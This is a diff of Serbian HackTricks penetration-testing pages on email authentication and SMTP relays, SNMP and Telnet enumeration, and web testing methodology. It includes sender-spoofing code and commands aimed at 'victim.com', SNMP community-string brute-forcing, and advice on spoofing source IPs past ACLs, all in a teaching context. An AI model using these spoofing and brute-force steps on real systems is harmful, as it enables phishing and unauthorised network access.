|
||||
Organizacije su sprečene da imaju neovlašćene e-mailove poslati u njihovo ime korišćenjem **SPF**, **DKIM** i **DMARC** zbog lakoće lažiranja SMTP poruka.
|
||||
|
||||
**potpuni vodič za ove protivmere** je dostupan na [https://seanthegeek.net/459/demystifying-dmarc/](https://seanthegeek.net/459/demystifying-dmarc/).
|
||||
**potpun vodič za ove protivmere** je dostupan na [https://seanthegeek.net/459/demystifying-dmarc/](https://seanthegeek.net/459/demystifying-dmarc/).
|
||||
|
||||
### SPF
|
||||
|
||||
> [!CAUTION]
|
||||
> SPF [je "depreciran" 2014. godine](https://aws.amazon.com/premiumsupport/knowledge-center/route53-spf-record/). To znači da umesto da kreirate **TXT zapis** u `_spf.domain.com`, kreirate ga u `domain.com` koristeći **istu sintaksu**.\
|
||||
> Štaviše, da biste ponovo koristili prethodne SPF zapise, prilično je uobičajeno naći nešto poput `"v=spf1 include:_spf.google.com ~all"`
|
||||
> Štaviše, da biste ponovo koristili prethodne spf zapise, prilično je uobičajeno naći nešto poput `"v=spf1 include:_spf.google.com ~all"`
|
||||
|
||||
**Sender Policy Framework** (SPF) je mehanizam koji omogućava Mail Transfer Agents (MTAs) da verifikuju da li je host koji šalje e-poštu ovlašćen upitom na listu ovlašćenih mail servera koju definišu organizacije. Ova lista, koja specificira IP adrese/opsege, domene i druge entitete **ovlašćene da šalju e-poštu u ime domena**, uključuje različite "**Mehanizme**" u SPF zapisu.
|
||||
**Sender Policy Framework** (SPF) je mehanizam koji omogućava Mail Transfer Agents (MTAs) da verifikuju da li je host koji šalje e-mail ovlašćen upitom na listu ovlašćenih mail servera koju definišu organizacije. Ova lista, koja specificira IP adrese/opsege, domene i druge entitete **ovlašćene da šalju e-mail u ime domena**, uključuje razne "**Mehanizme**" u SPF zapisu.
|
||||
|
||||
#### Mehanizmi
|
||||
|
||||
@ -245,18 +245,18 @@ Sa [Wikipedia](https://en.wikipedia.org/wiki/Sender_Policy_Framework):
|
||||
|
||||
| Mehanizam | Opis |
|
||||
| --------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| ALL | Uvek se poklapa; koristi se za podrazumevani rezultat poput `-all` za sve IP adrese koje nisu poklopljene prethodnim mehanizmima. |
|
||||
| A | Ako domen ima adresni zapis (A ili AAAA) koji može da se reši na adresu pošiljaoca, poklapaće se. |
|
||||
| ALL | Uvek se poklapa; koristi se za podrazumevani rezultat poput `-all` za sve IP adrese koje nisu poklopljene prethodnim mehanizmima. |
|
||||
| A | Ako domen ima adresni zapis (A ili AAAA) koji može da se reši na adresu pošiljaoca, poklapaće se. |
|
||||
| IP4 | Ako je pošiljalac u datom IPv4 opsegu, poklapaće se. |
|
||||
| IP6 | Ako je pošiljalac u datom IPv6 opsegu, poklapaće se. |
|
||||
| MX | Ako domen ima MX zapis koji se rešava na adresu pošiljaoca, poklapaće se (tj. e-pošta dolazi sa jednog od domenovih ulaznih mail servera). |
|
||||
| PTR | Ako je naziv domena (PTR zapis) za adresu klijenta u datom domenu i taj naziv domena se rešava na adresu klijenta (potvrđeni obrnuti DNS), poklapaće se. Ovaj mehanizam se ne preporučuje i treba ga izbegavati, ako je moguće. |
|
||||
| EXISTS | Ako se dati naziv domena rešava na bilo koju adresu, poklapaće se (bez obzira na adresu na koju se rešava). Ovo se retko koristi. Zajedno sa SPF makro jezikom nudi složenije poklapanje poput DNSBL upita. |
|
||||
| INCLUDE | Upućuje na politiku drugog domena. Ako politika tog domena prođe, ovaj mehanizam prolazi. Međutim, ako uključena politika ne prođe, obrada se nastavlja. Da biste potpuno delegirali na politiku drugog domena, mora se koristiti redirekcioni ekstenzija. |
|
||||
| REDIRECT | <p>Redirekcija je pokazivač na drugi naziv domena koji hostuje SPF politiku, omogućava više domena da dele istu SPF politiku. Korisno je kada radite sa velikim brojem domena koji dele istu e-mail infrastrukturu.</p><p>Koristiće se SPF politika domena naznačenog u redirekciji Mehanizma.</p> |
|
||||
| MX | Ako domen ima MX zapis koji se rešava na adresu pošiljaoca, poklapaće se (tj. e-mail dolazi sa jednog od domenovih ulaznih mail servera). |
|
||||
| PTR | Ako je naziv domena (PTR zapis) za adresu klijenta u datom domenu i taj naziv domena se rešava na adresu klijenta (potvrđeni obrnuti DNS), poklapaće se. Ovaj mehanizam se ne preporučuje i treba ga izbegavati, ako je moguće. |
|
||||
| EXISTS | Ako se dati naziv domena rešava na bilo koju adresu, poklapaće se (bez obzira na adresu na koju se rešava). Ovo se retko koristi. Zajedno sa SPF makro jezikom nudi složenije poklapanje poput DNSBL-queries. |
|
||||
| INCLUDE | Upućuje na politiku drugog domena. Ako politika tog domena prođe, ovaj mehanizam prolazi. Međutim, ako uključena politika ne prođe, obrada se nastavlja. Da biste potpuno delegirali na politiku drugog domena, mora se koristiti redirekcioni ekstenzija. |
|
||||
| REDIRECT | <p>Redirekcija je pokazivač na drugi naziv domena koji hostuje SPF politiku, omogućava više domena da dele istu SPF politiku. Korisno je kada radite sa velikim brojem domena koji dele istu email infrastrukturu.</p><p>Koristiće se SPF politika domena naznačenog u redirekciji Mehanizma.</p> |
|
||||
|
||||
Takođe je moguće identifikovati **Kvalifikatore** koji ukazuju **šta treba učiniti ako se mehanizam poklapa**. Podrazumevano se koristi **kvalifikator "+"** (tako da ako se bilo koji mehanizam poklapa, to znači da je dozvoljeno).\
|
||||
Obično ćete primetiti **na kraju svake SPF politike** nešto poput: **\~all** ili **-all**. Ovo se koristi da označi da **ako pošiljalac ne odgovara nijednoj SPF politici, treba označiti e-poštu kao nepouzdanu (\~) ili odbiti (-) e-poštu.**
|
||||
Obično ćete primetiti **na kraju svake SPF politike** nešto poput: **\~all** ili **-all**. Ovo se koristi da označi da **ako pošiljalac ne odgovara nijednoj SPF politici, treba označiti e-mail kao nepouzdan (\~) ili odbiti (-) e-mail.**
|
||||
|
||||
#### Kvalifikatori
|
||||
|
||||
@ -264,8 +264,8 @@ Svaki mehanizam unutar politike može biti prefiksiran jednim od četiri kvalifi
|
||||
|
||||
- **`+`**: Odgovara PASS rezultatu. Podrazumevano, mehanizmi pretpostavljaju ovaj kvalifikator, čineći `+mx` ekvivalentnim `mx`.
|
||||
- **`?`**: Predstavlja NEUTRAL rezultat, tretira se slično kao NONE (nema specifične politike).
|
||||
- **`~`**: Označava SOFTFAIL, služeći kao srednja tačka između NEUTRAL i FAIL. E-poruke koje ispunjavaju ovaj rezultat obično se prihvataju, ali se označavaju u skladu s tim.
|
||||
- **`-`**: Označava FAIL, sugerišući da bi e-pošta trebala biti odbijena.
|
||||
- **`~`**: Označava SOFTFAIL, služeći kao srednja tačka između NEUTRAL i FAIL. E-mailovi koji ispunjavaju ovaj rezultat obično se prihvataju, ali se označavaju u skladu s tim.
|
||||
- **`-`**: Označava FAIL, sugerišući da bi e-mail trebao biti odbijen.
|
||||
|
||||
U sledećem primeru, **SPF politika google.com** je ilustrovana. Obratite pažnju na uključivanje SPF politika iz različitih domena unutar prve SPF politike:
|
||||
```shell-session
|
||||
@ -294,7 +294,7 @@ Da biste proverili SPF domena, možete koristiti online alate kao što su: [http
|
||||
|
||||
DKIM se koristi za potpisivanje odlaznih emailova, omogućavajući njihovu validaciju od strane eksternih Mail Transfer Agents (MTAs) putem preuzimanja javnog ključa domena iz DNS-a. Ovaj javni ključ se nalazi u TXT zapisu domena. Da biste pristupili ovom ključi, potrebno je znati i selektor i ime domena.
|
||||
|
||||
Na primer, da biste zatražili ključ, ime domena i selektor su neophodni. Ovi podaci se mogu naći u mail headeru `DKIM-Signature`, npr., `d=gmail.com;s=20120113`.
|
||||
Na primer, da biste zatražili ključ, ime domena i selektor su neophodni. Ovi podaci se mogu naći u email zaglavlju `DKIM-Signature`, npr., `d=gmail.com;s=20120113`.
|
||||
|
||||
Komanda za preuzimanje ovih informacija može izgledati ovako:
|
||||
```bash
|
||||
@ -335,25 +335,25 @@ _dmarc.bing.com. 3600 IN TXT "v=DMARC1; p=none; pct=100; rua=mailto:BingEmailDMA
|
||||
|
||||
### **Šta je sa poddomenama?**
|
||||
|
||||
**Iz** [**ovog**](https://serverfault.com/questions/322949/do-spf-records-for-primary-domain-apply-to-subdomains)**.**\
|
||||
Trebalo bi da imate odvojene SPF zapise za svaku poddomenu sa koje želite da šaljete mail.\
|
||||
**Iz** [**ovde**](https://serverfault.com/questions/322949/do-spf-records-for-primary-domain-apply-to-subdomains)**.**\
|
||||
Potrebno je imati odvojene SPF zapise za svaku poddomenu sa koje želite da šaljete e-poštu.\
|
||||
Sledeće je prvobitno objavljeno na openspf.org, koji je nekada bio odličan resurs za ovakve stvari.
|
||||
|
||||
> Demon pitanje: Šta je sa poddomenama?
|
||||
>
|
||||
> Ako dobijem mail sa pielovers.demon.co.uk, i nema SPF podataka za pielovers, da li treba da se vratim jedan nivo unazad i testiram SPF za demon.co.uk? Ne. Svaka poddomena na Demonu je različit kupac, i svaki kupac može imati svoju politiku. Ne bi imalo smisla da se Demonova politika primenjuje na sve njegove kupce po defaultu; ako Demon želi to da uradi, može postaviti SPF zapise za svaku poddomenu.
|
||||
> Ako dobijem e-poštu sa pielovers.demon.co.uk, i nema SPF podataka za pielovers, da li treba da se vratim jedan nivo i testiram SPF za demon.co.uk? Ne. Svaka poddomena na Demonu je različit kupac, i svaki kupac može imati svoju politiku. Ne bi imalo smisla da se politika Demona primenjuje na sve njegove kupce po defaultu; ako Demon želi to da uradi, može postaviti SPF zapise za svaku poddomenu.
|
||||
>
|
||||
> Tako da je savet za SPF izdavače sledeći: trebali biste dodati SPF zapis za svaku poddomenu ili ime hosta koje ima A ili MX zapis.
|
||||
> Dakle, savet za SPF izdavače je sledeći: trebate dodati SPF zapis za svaku poddomenu ili ime hosta koje ima A ili MX zapis.
|
||||
>
|
||||
> Sajtovi sa wildcard A ili MX zapisima takođe bi trebali imati wildcard SPF zapis, u obliku: \* IN TXT "v=spf1 -all"
|
||||
|
||||
To ima smisla - poddomena može biti u potpuno drugačijoj geografskoj lokaciji i imati veoma različitu SPF definiciju.
|
||||
To ima smisla - poddomena može biti u različitoj geografskoj lokaciji i imati vrlo različitu SPF definiciju.
|
||||
|
||||
### **Otvoreni relaj**
|
||||
|
||||
Kada se šalju emailovi, osiguranje da ne budu označeni kao spam je ključno. To se često postiže korišćenjem **relaj servera koji je poverenik od strane primaoca**. Međutim, uobičajeni izazov je to što administratori možda nisu potpuno svesni koje **IP adrese su sigurne za dozvoliti**. Ova nedostatak razumevanja može dovesti do grešaka u postavljanju SMTP servera, što je rizik koji se često identifikuje u bezbednosnim procenama.
|
||||
Kada se šalju e-poruke, osiguranje da ne budu označene kao spam je ključno. To se često postiže korišćenjem **relaj servera koji je poverenik od strane primaoca**. Međutim, uobičajeni izazov je to što administratori možda nisu potpuno svesni koje **IP adrese su sigurne za dozvoliti**. Ova nedostatak razumevanja može dovesti do grešaka u postavljanju SMTP servera, što je rizik koji se često identifikuje u bezbednosnim procenama.
|
||||
|
||||
Rešenje koje neki administratori koriste da izbegnu probleme sa isporukom emailova, posebno u vezi sa komunikacijom sa potencijalnim ili postojećim klijentima, je da **dozvole veze sa bilo kojom IP adresom**. To se postiže konfigurisanjem `mynetworks` parametra SMTP servera da prihvati sve IP adrese, kao što je prikazano u nastavku:
|
||||
Rešenje koje neki administratori koriste da izbegnu probleme sa isporukom e-pošte, posebno u vezi sa komunikacijom sa potencijalnim ili postojećim klijentima, je da **dozvole veze sa bilo kojom IP adresom**. To se postiže konfigurisanjem `mynetworks` parametra SMTP servera da prihvati sve IP adrese, kao što je prikazano u nastavku:
|
||||
```bash
|
||||
mynetworks = 0.0.0.0/0
|
||||
```
|
||||
@ -409,7 +409,7 @@ python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com --subject TE
|
||||
{{#tab name="PHP"}}
|
||||
|
||||
<pre class="language-php"><code class="lang-php"><strong># Ovo će poslati nesigniranu poruku
|
||||
</strong><strong>mail("your_email@gmail.com", "Test Subject!", "hey! This is a test", "From: administrator@victim.com");
|
||||
</strong><strong>mail("your_email@gmail.com", "Test Subject!", "hey! Ovo je test", "From: administrator@victim.com");
|
||||
</strong></code></pre>
|
||||
|
||||
{{#endtab}}
|
||||
@ -488,7 +488,7 @@ s.sendmail(sender, [destination], msg_data)
|
||||
- Postojanje važećeg i pouzdanog SSL sertifikata
|
||||
- Podnošenje stranice sajtovima za filtriranje web sadržaja
|
||||
|
||||
## Ekfiltracija putem SMTP-a
|
||||
## Ekstrakcija putem SMTP-a
|
||||
|
||||
**Ako možete slati podatke putem SMTP-a** [**pročitajte ovo**](../../generic-hacking/exfiltration.md#smtp)**.**
|
||||
|
||||
|
@ -29,7 +29,7 @@ Pored toga, proizvođačima je data sloboda da uspostave privatne grane. Unutar
|
||||
.png>)
|
||||
|
||||
Možete **navigirati** kroz **OID stablo** sa veba ovde: [http://www.oid-info.com/cgi-bin/display?tree=#focus](http://www.oid-info.com/cgi-bin/display?tree=#focus) ili **videti šta OID znači** (kao `1.3.6.1.2.1.1`) pristupajući [http://oid-info.com/get/1.3.6.1.2.1.1](http://oid-info.com/get/1.3.6.1.2.1.1).\
|
||||
Postoje neki **poznati OIDs** kao što su oni unutar [1.3.6.1.2.1](http://oid-info.com/get/1.3.6.1.2.1) koji se odnose na MIB-2 definisane varijable Simple Network Management Protocol (SNMP). I iz **OIDs koji zavise od ovog** možete dobiti neke zanimljive podatke o hostu (sistemski podaci, mrežni podaci, podaci o procesima...)
|
||||
Postoje neki **poznati OIDs** kao što su oni unutar [1.3.6.1.2.1](http://oid-info.com/get/1.3.6.1.2.1) koji se odnose na MIB-2 definisane varijable Simple Network Management Protocol (SNMP). I iz **OIDs koji zavise od ovog** možete dobiti neke zanimljive podatke o hostu (sistemski podaci, podaci o mreži, podaci o procesima...)
|
||||
|
||||
### **OID Primer**
|
||||
|
||||
@ -69,7 +69,7 @@ Ostatak vrednosti daje specifične informacije o uređaju.
|
||||
Postoje 2 važne verzije SNMP:
|
||||
|
||||
- **SNMPv1**: Glavna verzija, još uvek je najčešća, **autentifikacija se zasniva na stringu** (community string) koji putuje u **plain-text** (svi podaci putuju u plain text). **Verzija 2 i 2c** takođe šalju **saobraćaj u plain text** i koriste **community string kao autentifikaciju**.
|
||||
- **SNMPv3**: Koristi bolji **oblik autentifikacije** i informacije putuju **kriptovano** (moguće je izvršiti **dictionary attack**, ali bi bilo mnogo teže pronaći ispravne kredencijale nego u SNMPv1 i v2).
|
||||
- **SNMPv3**: Koristi bolji **oblik autentifikacije** i informacije putuju **kriptovano** koristeći (**dictionary attack** može biti izveden, ali bi bilo mnogo teže pronaći ispravne kredencijale nego u SNMPv1 i v2).
|
||||
|
||||
### Community Strings
|
||||
|
||||
@ -89,14 +89,14 @@ U verzijama 1 i 2/2c, ako koristite **loš** community string, server neće **od
|
||||
[Sa Wikipedije](https://en.wikipedia.org/wiki/Simple_Network_Management_Protocol):
|
||||
|
||||
- SNMP agent prima zahteve na UDP portu **161**.
|
||||
- Menadžer prima obaveštenja ([Trape](https://en.wikipedia.org/wiki/Simple_Network_Management_Protocol#Trap) i [InformRequests](https://en.wikipedia.org/wiki/Simple_Network_Management_Protocol#InformRequest)) na portu **162**.
|
||||
- Menadžer prima obaveštenja ([Traps](https://en.wikipedia.org/wiki/Simple_Network_Management_Protocol#Trap) i [InformRequests](https://en.wikipedia.org/wiki/Simple_Network_Management_Protocol#InformRequest)) na portu **162**.
|
||||
- Kada se koristi sa [Transport Layer Security](https://en.wikipedia.org/wiki/Transport_Layer_Security) ili [Datagram Transport Layer Security](https://en.wikipedia.org/wiki/Datagram_Transport_Layer_Security), zahtevi se primaju na portu **10161** i obaveštenja se šalju na port **10162**.
|
||||
|
||||
## Brute-Force Community String (v1 i v2c)
|
||||
|
||||
Da biste **pogodili community string**, mogli biste izvršiti dictionary attack. Proverite [ovde različite načine za izvršenje brute-force napada protiv SNMP](../../generic-hacking/brute-force.md#snmp). Često korišćen community string je `public`.
|
||||
Da biste **pogodili community string**, mogli biste izvesti napad rečnikom. Proverite [ovde različite načine za izvođenje brute-force napada protiv SNMP](../../generic-hacking/brute-force.md#snmp). Često korišćen community string je `public`.
|
||||
|
||||
## Enumerating SNMP
|
||||
## Enumeracija SNMP
|
||||
|
||||
Preporučuje se instalacija sledećeg da biste videli šta znači **svaki OID prikupljen** sa uređaja:
|
||||
```bash
|
||||
@ -121,7 +121,7 @@ nmap --script "snmp* and not snmp-brute" <target>
|
||||
|
||||
braa <community string>@<IP>:.1.3.6.* #Bruteforce specific OID
|
||||
```
|
||||
Zahvaljujući proširenim upitima (download-mibs), moguće je enumerisati još više informacija o sistemu pomoću sledeće komande:
|
||||
Zahvaljujući proširenim upitima (download-mibs), moguće je enumerisati još više informacija o sistemu sa sledećom komandom:
|
||||
```bash
|
||||
snmpwalk -v X -c public <IP> NET-SNMP-EXTEND-MIB::nsExtendOutputFull
|
||||
```
|
||||
@ -131,7 +131,7 @@ snmpwalk -v X -c public <IP> NET-SNMP-EXTEND-MIB::nsExtendOutputFull
|
||||
|
||||
### **Opasne postavke**
|
||||
|
||||
U oblasti upravljanja mrežom, određene konfiguracije i parametri su ključni za osiguranje sveobuhvatnog nadzora i kontrole.
|
||||
U oblasti upravljanja mrežom, određene konfiguracije i parametri su ključni za osiguranje sveobuhvatnog nadgledanja i kontrole.
|
||||
|
||||
### Postavke pristupa
|
||||
|
||||
@ -146,15 +146,15 @@ Obe komande zahtevaju **community string** i relevantnu IP adresu, nudeći potpu
|
||||
|
||||
### SNMP parametri za Microsoft Windows
|
||||
|
||||
Serija **Management Information Base (MIB) vrednosti** se koristi za praćenje različitih aspekata Windows sistema putem SNMP:
|
||||
Serija **Management Information Base (MIB) vrednosti** se koristi za nadgledanje različitih aspekata Windows sistema putem SNMP:
|
||||
|
||||
- **Sistemski procesi**: Pristupa se putem `1.3.6.1.2.1.25.1.6.0`, ovaj parametar omogućava praćenje aktivnih procesa unutar sistema.
|
||||
- **Aktivni programi**: Vrednost `1.3.6.1.2.1.25.4.2.1.2` je namenjena za praćenje trenutno aktivnih programa.
|
||||
- **Sistemski procesi**: Pristupa se putem `1.3.6.1.2.1.25.1.6.0`, ovaj parametar omogućava nadgledanje aktivnih procesa unutar sistema.
|
||||
- **Aktivni programi**: Vrednost `1.3.6.1.2.1.25.4.2.1.2` je namenjena praćenju trenutno aktivnih programa.
|
||||
- **Putanja procesa**: Da bi se odredilo odakle se proces pokreće, koristi se MIB vrednost `1.3.6.1.2.1.25.4.2.1.4`.
|
||||
- **Skladišne jedinice**: Praćenje skladišnih jedinica olakšano je putem `1.3.6.1.2.1.25.2.3.1.4`.
|
||||
- **Skladišne jedinice**: Nadgledanje skladišnih jedinica olakšano je putem `1.3.6.1.2.1.25.2.3.1.4`.
|
||||
- **Ime softvera**: Da bi se identifikovao softver instaliran na sistemu, koristi se `1.3.6.1.2.1.25.6.3.1.2`.
|
||||
- **Korisnički nalozi**: Vrednost `1.3.6.1.4.1.77.1.2.25` omogućava praćenje korisničkih naloga.
|
||||
- **TCP lokalne portove**: Na kraju, `1.3.6.1.2.1.6.13.1.3` je namenjen za praćenje TCP lokalnih portova, pružajući uvid u aktivne mrežne veze.
|
||||
- **TCP lokalne portove**: Na kraju, `1.3.6.1.2.1.6.13.1.3` je namenjen za nadgledanje TCP lokalnih portova, pružajući uvid u aktivne mrežne veze.
|
||||
|
||||
### Cisco
|
||||
|
||||
@ -174,7 +174,7 @@ snmp-rce.md
|
||||
|
||||
## **Masovni SNMP**
|
||||
|
||||
[Braa](https://github.com/mteg/braa) je masovni SNMP skener. Predviđena upotreba ovog alata je, naravno, pravljenje SNMP upita – ali za razliku od snmpwalk iz net-snmp, može da upita desetine ili stotine hostova istovremeno, i u jednom procesu. Tako, troši vrlo malo sistemskih resursa i skenira VEOMA brzo.
|
||||
[Braa ](https://github.com/mteg/braa) je masovni SNMP skener. Predviđena upotreba ovog alata je, naravno, pravljenje SNMP upita – ali za razliku od snmpwalk iz net-snmp, može da upita desetine ili stotine hostova istovremeno, i u jednom procesu. Tako, troši vrlo malo sistemskih resursa i skenira VEOMA brzo.
|
||||
|
||||
Braa implementira svoj VLASTITI snmp stek, tako da mu nisu potrebne nikakve SNMP biblioteke poput net-snmp.
|
||||
|
||||
@ -194,7 +194,7 @@ grep ".1.3.6.1.2.1.1.1.0" *.snmp
|
||||
```
|
||||
### **Identifikacija Privatnog Stringa**
|
||||
|
||||
Ključni korak uključuje identifikaciju **privatnog community stringa** koji koriste organizacije, posebno na Cisco IOS ruterima. Ovaj string omogućava ekstrakciju **running configurations** sa rutera. Identifikacija se često oslanja na analizu SNMP Trap podataka za reč "trap" uz pomoć **grep komande**:
|
||||
Ključni korak uključuje identifikaciju **privatnog community stringa** koji koriste organizacije, posebno na Cisco IOS ruterima. Ovaj string omogućava ekstrakciju **aktuelnih konfiguracija** sa rutera. Identifikacija se često oslanja na analizu SNMP Trap podataka za reč "trap" uz pomoć **grep komande**:
|
||||
```bash
|
||||
grep -i "trap" *.snmp
|
||||
```
|
||||
@ -212,11 +212,11 @@ grep -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" *.snmp
|
||||
```
|
||||
## Modifikovanje SNMP vrednosti
|
||||
|
||||
Možete koristiti _**NetScanTools**_ za **modifikovanje vrednosti**. Biće vam potrebna **privatna string** da biste to uradili.
|
||||
Možete koristiti _**NetScanTools**_ da **modifikujete vrednosti**. Treba da znate **privatni string** da biste to uradili.
|
||||
|
||||
## Lažiranje
|
||||
## Spoofing
|
||||
|
||||
Ako postoji ACL koji dozvoljava samo nekim IP adresama da upitaju SMNP servis, možete lažirati jednu od ovih adresa unutar UDP paketa i presresti saobraćaj.
|
||||
Ako postoji ACL koji dozvoljava samo nekim IP adresama da upitaju SMNP servis, možete spoofovati jednu od ovih adresa unutar UDP paketa i osluškivati saobraćaj.
|
||||
|
||||
## Istraživanje SNMP konfiguracionih fajlova
|
||||
|
||||
|
@ -3,9 +3,9 @@
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
## **Osnovne Informacije**
|
||||
## **Osnovne informacije**
|
||||
|
||||
Telnet je mrežni protokol koji korisnicima pruža NEsiguran način za pristup računaru preko mreže.
|
||||
Telnet je mrežni protokol koji korisnicima pruža nesiguran način pristupa računaru preko mreže.
|
||||
|
||||
**Podrazumevani port:** 23
|
||||
```
|
||||
@ -17,7 +17,7 @@ Telnet je mrežni protokol koji korisnicima pruža NEsiguran način za pristup r
|
||||
```bash
|
||||
nc -vn <IP> 23
|
||||
```
|
||||
Sve zanimljive enumeracije mogu se izvršiti pomoću **nmap**:
|
||||
Sve zanimljive enumeracije mogu se izvesti pomoću **nmap**:
|
||||
```bash
|
||||
nmap -n -sV -Pn --script "*telnet* and safe" -p 23 <IP>
|
||||
```
|
||||
|
@ -29,11 +29,11 @@ web-api-pentesting.md
|
||||
|
||||
- [ ] Počnite sa **identifikovanjem** **tehnologija** koje koristi web server. Potražite **trikove** koje treba imati na umu tokom ostatka testa ako uspešno identifikujete tehnologiju.
|
||||
- [ ] Da li postoji neka **poznata ranjivost** verzije tehnologije?
|
||||
- [ ] Koristite neku **poznatu tehnologiju**? Da li postoji neki **koristan trik** za ekstrakciju više informacija?
|
||||
- [ ] Koristite li neku **poznatu tehnologiju**? Ima li nekih **korisnih trikova** za ekstrakciju više informacija?
|
||||
- [ ] Da li postoji neki **specijalizovani skener** koji treba pokrenuti (kao što je wpscan)?
|
||||
- [ ] Pokrenite **skenerе opšte namene**. Nikada ne znate da li će pronaći nešto ili ako će pronaći neku zanimljivu informaciju.
|
||||
- [ ] Pokrenite **skeneri opšte namene**. Nikada ne znate da li će pronaći nešto ili ako će pronaći neku zanimljivu informaciju.
|
||||
- [ ] Počnite sa **početnim proverama**: **robots**, **sitemap**, **404** greška i **SSL/TLS sken** (ako je HTTPS).
|
||||
- [ ] Počnite sa **spideringom** web stranice: Vreme je da **pronađete** sve moguće **fajlove, foldere** i **parametre koji se koriste.** Takođe, proverite za **posebna otkrića**.
|
||||
- [ ] Počnite sa **spidering** web stranice: Vreme je da **pronađete** sve moguće **fajlove, foldere** i **parametre koji se koriste.** Takođe, proverite za **posebna otkrića**.
|
||||
- [ ] _Imajte na umu da svaki put kada se otkrije novi direktorijum tokom brute-forcinga ili spideringa, treba ga spiderovati._
|
||||
- [ ] **Brute-Forcing direktorijuma**: Pokušajte da brute-forcujete sve otkrivene foldere tražeći nove **fajlove** i **direktorijume**.
|
||||
- [ ] _Imajte na umu da svaki put kada se otkrije novi direktorijum tokom brute-forcinga ili spideringa, treba ga Brute-Forcovati._
|
||||
@ -135,7 +135,7 @@ node puff.js -w ./wordlist-examples/xss.txt -u "http://www.xssgame.com/f/m4KKGHi
|
||||
Ako se koristi CMS, ne zaboravite da **pokrenete skener**, možda će se pronaći nešto zanimljivo:
|
||||
|
||||
[**Clusterd**](https://github.com/hatRiot/clusterd)**:** [**JBoss**](jboss.md)**, ColdFusion, WebLogic,** [**Tomcat**](tomcat/index.html)**, Railo, Axis2, Glassfish**\
|
||||
[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/index.html), **Joomla**, **vBulletin** veb sajtovi za sigurnosne probleme. (GUI)\
|
||||
[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/index.html), **Joomla**, **vBulletin** vebsajtovi za bezbednosne probleme. (GUI)\
|
||||
[**VulnX**](https://github.com/anouarbensaad/vulnx)**:** [**Joomla**](joomla.md)**,** [**Wordpress**](wordpress.md)**,** [**Drupal**](drupal/index.html)**, PrestaShop, Opencart**\
|
||||
**CMSMap**: [**(W)ordpress**](wordpress.md)**,** [**(J)oomla**](joomla.md)**,** [**(D)rupal**](drupal/index.html) **ili** [**(M)oodle**](moodle.md)\
|
||||
[**droopscan**](https://github.com/droope/droopescan)**:** [**Drupal**](drupal/index.html)**,** [**Joomla**](joomla.md)**,** [**Moodle**](moodle.md)**, Silverstripe,** [**Wordpress**](wordpress.md)
|
||||
@ -147,7 +147,7 @@ joomlavs.rb #https://github.com/rastating/joomlavs
|
||||
```
|
||||
> U ovom trenutku već biste trebali imati neke informacije o web serveru koji koristi klijent (ako su dostupni podaci) i neke trikove koje treba imati na umu tokom testa. Ako imate sreće, možda ste čak pronašli i CMS i pokrenuli neki skener.
|
||||
|
||||
## Postupak otkrivanja web aplikacija
|
||||
## Postupno otkrivanje web aplikacija
|
||||
|
||||
> Od ovog trenutka počinjemo da komuniciramo sa web aplikacijom.
|
||||
|
||||
@ -176,7 +176,7 @@ Web serveri mogu **nepredvidivo reagovati** kada im se šalju čudni podaci. To
|
||||
Ako otkrijete da je **WebDav** **omogućen** ali nemate dovoljno dozvola za **otpremanje fajlova** u korenski folder, pokušajte da:
|
||||
|
||||
- **Brute Force** kredencijale
|
||||
- **Otpremite fajlove** putem WebDav u **ostale** **pronađene foldere** unutar web stranice. Možda imate dozvole za otpremanje fajlova u drugim folderima.
|
||||
- **Otpremite fajlove** putem WebDav-a u **ostale** **pronađene foldere** unutar web stranice. Možda imate dozvole za otpremanje fajlova u drugim folderima.
|
||||
|
||||
### **SSL/TLS ranjivosti**
|
||||
|
||||
@ -203,7 +203,7 @@ Pokrenite neku vrstu **spider** unutar veba. Cilj spider-a je da **pronađe što
|
||||
|
||||
- [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML spider, LinkFinder u JS datotekama i spoljašnjim izvorima (Archive.org, CommonCrawl.org, VirusTotal.com, AlienVault.com).
|
||||
- [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HML spider, sa LinkFinder-om za JS datoteke i Archive.org kao spoljnim izvorom.
|
||||
- [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML spider, takođe označava "sočne datoteke".
|
||||
- [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML spider, takođe ukazuje na "sočne datoteke".
|
||||
- [**evine** ](https://github.com/saeeddhqan/evine)(go): Interaktivni CLI HTML spider. Takođe pretražuje u Archive.org.
|
||||
- [**meg**](https://github.com/tomnomnom/meg) (go): Ovaj alat nije spider, ali može biti koristan. Možete jednostavno naznačiti datoteku sa hostovima i datoteku sa putanjama, a meg će preuzeti svaku putanju na svakom hostu i sačuvati odgovor.
|
||||
- [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): HTML spider sa mogućnostima renderovanja JS-a. Međutim, izgleda da nije održavan, prekompajlirana verzija je stara i trenutni kod se ne kompajlira.
|
||||
@ -219,13 +219,13 @@ Pokrenite neku vrstu **spider** unutar veba. Cilj spider-a je da **pronađe što
|
||||
- [**page-fetch**](https://github.com/detectify/page-fetch) (go): Učitaj stranicu u headless pretraživaču i ispiši sve URL-ove učitane za učitavanje stranice.
|
||||
- [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): Alat za otkrivanje sadržaja koji kombinuje nekoliko opcija prethodnih alata.
|
||||
- [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): Burp ekstenzija za pronalaženje putanja i parametara u JS datotekama.
|
||||
- [**Sourcemapper**](https://github.com/denandz/sourcemapper): Alat koji, dajući .js.map URL, dobijate beautified JS kod.
|
||||
- [**Sourcemapper**](https://github.com/denandz/sourcemapper): Alat koji, dajući .js.map URL, dobija beatified JS kod.
|
||||
- [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): Ovaj alat se koristi za otkrivanje krajnjih tačaka za dati cilj.
|
||||
